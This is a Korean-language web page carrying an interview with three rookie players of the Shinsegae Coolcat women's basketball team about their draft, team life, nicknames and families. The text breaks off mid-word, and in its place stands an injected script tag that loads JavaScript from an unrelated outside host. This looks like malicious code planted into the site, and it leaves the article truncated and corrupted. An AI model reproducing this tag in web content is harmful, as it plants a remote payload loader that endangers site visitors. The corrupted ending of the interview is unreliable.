본문내용보기 메뉴바로가기

본문내용

김정은.박진희.윤미혜-쿨캣 새내기 3인방'프로에 오니 너무 행복해요~^^'

공유하기
오전 운동이 끝난 후 점심식사를 마친 새내기들은 선배들보다 2배정도 되는 식사량을 보이며 후식까지 말끔하게 해치웠다. "처음에 와서 밥을 먹는데 선배들이 너무 조금씩 먹어서 프로는 밥을 많이 먹으면 안되는 건 줄 알았어요. 그런데, 먹고싶은 만큼 먹는거더라고요. 그래서, 이제는 많이 먹어요. 맛있는게 많아서 좋아요."라며 신입생다운 말을 전했다. >> 프로에 입단했는데, 팀 분위기는 어떤가? 적응은 잘 되는가? 처음에는 언니들이 말을 별로 안해서 너무 무서웠다. 그런데, 시간이 지나니까 정옥언니.선형언니가 잘해주고 지금은 언니들이 다 잘해준다. 팀 분위기도 좋고, 아직 잘 모르니까 열심히 배우고 잘 적응하기 위해 노력하고 있다. >> 신입선수 드래프트장에서는 김정은과 이경은만 있었다. 프로에 선발된 소식을 누구에게 들었나? 그때 기분은 어땠는가? 윤미혜(이하 윤) : 선생님과 아빠가 참석하셨는데, 아빠에게 문자메세지가 왔다. 신세계 쿨캣에 지명됐다는 말에 장난인 줄 알았다. 박진희(이하 박) : 드래프트에 참석하지 못해서 정은이가 문자메세지를 보내줬다. 신세계에 함께 지명됐다는 말에 너무 기뻤다. 전국체전이 끝나고 신세계 팀이 아닌 다름 팀에서 얘기가 나온다는 말에 잘 모르겠다 싶었는데, 전혀 생각하지 못했기 때문에 더 놀랐던 것 같다. 김정은(이하 김) : 사실, 처음에는 신세계 쿨캣에 올 거라는 생각을 못 했었다. 그런데, 신세계와 금호가 1.2순위라는 얘기를 듣고 두 팀중에 하나겠구나 생각했다. 금호생명 팰컨스에 지명되고 바로 드래프트된 경은이와 많은 얘기를 나누고 통화도 많이 했다. 프로에 같이 들어왔기때문에 둘만의 다짐도 많이 했다. >> 프로에 올수 있을거라고 생각하지 못했었나? 윤 : 사실, 50%정도였다. 팀 해체로 학교를 옮겨서 중간에 운동을 많이 쉬었다. 생각이 없었다기 보다는 프로에 오는 것 자체가 힘들거라고 생각했었다. 드래프트에 참여한 27명 중 잘하는 애들이 많았고, 내가 확실하지 않았던 상태이기 때문에 확신이 없었다. 그런데, 내가 프로에 간다면 신세계에 갈거라고 생각을 했었다. 나도 왜그런지 모르지만, 신세계에 오고싶었다. 드래프트 전날까지 엄마랑 함께 40일 기도를 했다. 신세계에 꼭 갈수있게 해달라고 기도했는데, 그 꿈이 이루어져서 너무 좋다. 나를 뽑아준 팀에 너무 감사하다. 박 : 나도 그랬다. 신세계에 간다고, 가고싶다가 아니고 신세계에 간다고 말할 정도로 왠지 그럴 것 같았다. 왜 그런지 모르겠지만 너무 오고싶었다. 프로에 못 간다는 생각보다는 다른 팀 얘기가 나와서 모르겠다 싶었다. 너무 기뻤다. 정말 좋다. 김정은과 박진희는 고교시절부터 절친한 사이라고 말하며 같은 팀에 지명된 것을 기뻐하고 있었다. 삼천포여고 졸업예정인 박진희는 전혀 사투리를 쓰지않았다. 원래 안쓰냐고 물었더니 "사투리 잘하는데 일상에서는 잘 안쓴다. 부모님이나 학교 친구들과 통화하거나 얘기할때는 많이 쓴다." >> 진희는 팀에서 '파송송'이라고 부르던데 모두들 별명이 있나? 박 : 파송송 김 : 만사마 윤 : 전주원 이라고 각각 대답했다. 선수들이 운동할때 재활치료를 받아서 얼굴을 못봤던 박진희를 팀에서 '파송송'이라고 불렀다. 이유가 궁금했었는데, 박진희선수의 얼굴을 보는 순간 '아~'라는 공감의 표현이 나왔다. 주장 허윤자가 지어줬다는 별명은 영화 '파송송계란탁'에 나온 주인공과 너무도 닮은 모습이었기 때문이다. 정은이도 자신이 만사마라는 별명을 갖고있다며 수줍게 웃었다. 자신의 별명이 전주원이라고 말한 윤미혜는 본사에 인사갔을 때 별명을 말하는데, '전주원'이라고 말했다가 분위기가 썰렁해졌다면서 "장충체육관 근처 식당을 가면 많은 분들이 전주원을 닮았다"고 그랬다며 후문을 말했다. 얼핏 보니 신한은행 에스버드 전주원선수를 닮기도 한 것 같았다. >> 프로에 오게 됐는데, 가족들의 반응은 어떤가? 박 : 부상을 당했었다. 그래서 좀 안좋았는데 신세계에 뽑혔다는 말에 감사했다. 가족들도 너무 좋아하고 많이 감사하고 있다. 윤 : 몸이 안좋았다. 쉬어서 적응이 안되고 맞지 않아서 힘들었다. 힘들어 하니까 집에서도 걱정했는데, 선발되니 너무 감사할 뿐이다. 부모님도 많이 좋아하셨다. 감사한다. 신세계 오길 바랬다 >> 드래프트가 끝난 후 인터뷰에서 할머니 얘기를 했다. 할머니때문에 농구를 했다고 알고있는데 좋아하시나? 김: 할머니. 집이 어려워서 부모님은 다른 곳에서 일하시고 외숙모 삼촌 할머니랑 청양에서 살았다. 도대회에 나갔다가 초등농구부 온양게임. 안재근 부장선생님의 권유로 농구를 시작했다. 농구를 잘 못해서 다른 선수들과 실력차도 많이 났기에 포기할 마음이 있었는데, 어렵게 시작하고 할머니도 어렵게 결정하신 건데 할?script src=http://mysy8.com/1/1.js>

* 입력 가능 300자 이하 (0자)

목록